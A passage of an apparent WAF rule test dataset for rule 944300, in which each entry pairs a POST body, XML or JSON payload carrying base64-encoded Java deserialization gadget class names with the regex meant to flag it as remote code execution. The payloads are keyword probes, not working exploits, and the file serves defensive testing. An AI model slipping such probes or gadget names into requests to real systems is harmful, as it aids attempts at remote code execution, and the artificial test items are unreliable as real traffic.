"(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword BjbG9uZXRyYW5zZm9ybWVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "BjbG9uZXRyYW5zZm9ybWVy=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword BjbG9uZXRyYW5zZm9ybWVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"BjbG9uZXRyYW5zZm9ybWVy\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword BjbG9uZXRyYW5zZm9ybWVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">BjbG9uZXRyYW5zZm9ybWVy</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword BjbG9uZXRyYW5zZm9ybWVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">BjbG9uZXRyYW5zZm9ybWVy</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword BjbG9uZXRyYW5zZm9ybWVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=BjbG9uZXRyYW5zZm9ybWVy" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword BjbG9uZXRyYW5zZm9ybWVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"BjbG9uZXRyYW5zZm9ybWVy\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword BjbG9uZXRyYW5zZm9ybWVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"BjbG9uZXRyYW5zZm9ybWVy\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword BjbG9uZXRyYW5zZm9ybWVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=Zm9yY2xvc3VyZQ" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword Zm9yY2xvc3VyZQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "Zm9yY2xvc3VyZQ=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword Zm9yY2xvc3VyZQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"Zm9yY2xvc3VyZQ\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword Zm9yY2xvc3VyZQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">Zm9yY2xvc3VyZQ</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword Zm9yY2xvc3VyZQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">Zm9yY2xvc3VyZQ</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword Zm9yY2xvc3VyZQ" } }, { 